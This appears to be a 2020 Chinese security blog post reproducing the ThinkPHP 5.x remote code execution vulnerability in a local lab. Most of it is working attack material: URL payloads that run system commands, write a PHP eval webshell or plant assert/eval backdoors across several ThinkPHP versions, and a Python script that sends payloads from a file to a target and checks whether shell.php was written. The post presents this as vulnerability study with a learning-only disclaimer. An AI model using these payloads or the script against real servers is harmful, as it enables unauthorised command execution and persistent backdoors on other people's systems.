ThinkPHP5.x漏洞复现 – 作者:cmdgaga

疫情期间,闲来无聊,对ThinkPHP5.X漏洞进行复现了一番,打发无聊时间。也算是当作自己的笔记分享给大家。这次归纳学习也借鉴了零组攻防实验室大佬们的poc,本实验使用的工具为wamp配合Thinkphp5.x版本进行试验,前期配置这里就不做详细介绍了。试验分厂简单,如需深入了解漏洞原理可以去代码中审计一番。

首先我们搭建完毕试验环境后,本地访问http://127.0.0.1/thinkphp/public/index.php,会出现以下界面,说明安装成功。

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。同时也使用面向对象的开发结构和MVC模式。对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。

图片.png我们首先在本地直接远程执行系统命令:

注明:payload是来源于零组攻防实验室整理的。

1、获取当前用户:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami(系统命令)

图片.png

2、获取进程信息:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=netstat -an

图片.png

3、写入shell文件:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET[“code”])?^>>shell.php

将在public文件夹中写入一句话php代码,并设置文件名称为shell.php

图片.png

本小白写了一段代码可以自动的执行payload,也是为了方便测试,不用手动的去更换payload。

import requests
import time
# from lxml import etree
import optparse
print("*"*30 + "Thinkphp远程代码执行" + "*"*30)

'''
参考的payload:
如果不是用python测试的话,那么就要把里面的双反斜杠换为单反斜杠
互联网上面收集的poc
1、利用system函数远程命令执行

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2.通过phpinfo函数写出phpinfo()的信息

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3.写入shell:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php

http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php?echo?'ok';?>

/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=phpinfo();

/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian]);

/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1


POC

TP版本5.0.21:

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP版本5.0.22:
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
TP5.1.*

thinkphp5.1.29为例
1、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令
3、文件写入(写shell):
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、未知:
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
7、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
'''

#datetime--20200318
#Author--cmdback
#免责声明:此实验所用的工具仅限于学习,请勿非法使用,否则后果自负

#payload = '/thinkphp/public/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami'


headers = {
    'User - Agent': 'Mozilla / 5.0(Windows NT 10.0;Win64;x64) AppleWebKit / 537.36(KHTML, likeGecko) Chrome / 80.0.3987.132Safari / 537.36'

}
def get_info():
    try:
        #先测试url是否可以正常访问
        res = requests.get(url)
        if res.status_code == 200:
            get_system()
        else:
            print("此网站无法正常访问!!")
    except Exception as e:
        print(e)

def get_system():

    #进行payload的发送,并返回测试结果,这个模块知识测试的是远程执行系统命令
    with open('payload.txt','r') as f:
        try:
            payloads = f.readlines()
            for payload in payloads:
                #将url和payload进行拼接,如果单个url测得话还可以,如果是批量多个地址进行测试,这个脚本还可再调整一下
                res = requests.get(url+payload,headers=headers)
                # html = etree.HTML(res.text,etree.HTMLParser())
                # cmd_line = html.xpath('//body/text()')
                #这里是需要进行去重一下,代码先这样写。
                if res.status_code == 200:
                    print("执行命令如下:",res.text + '\n')
                    #判断写入文件是否成功
                    if requests.get(url+'/shell.php').status_code == 200:
                        print("上传脚本成功,木马脚本地址为:",url+'/shell.php')
                else:
                    return False
        except Exception as e:
            print(e)

#getsheell的测试函数先放在这里,后期补充。
def get_shell():
    pass

if __name__ == '__main__':
    '''
    参数详解:
    1、url:添加需要的url地址;
    2、payload:自己添加的payload,文件中需要换行输入
    '''
    usage ="python -u <target url> -p <target payload>"
    parse = optparse.OptionParser(usage)
    parse.add_option('-u',"--url",dest="url",help="Enter url")
    parse.add_option('-p','--payload',dest='payload',help="Enter payload")
    options,args=parse.parse_args()
    if options.url == None or options.payload == None:
        print(parse.usage)
    else:
        url = options.url
        payload = options.payload
    get_info()

代码有点鸡肋,不能批量的进行检测。需要在创建payload文件,然后自动读取里面的paylaod进行执行命令。下面截图来看一下吧:

图片.png

来源:freebuf.com 2020-03-19 16:28:29 by: cmdgaga

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论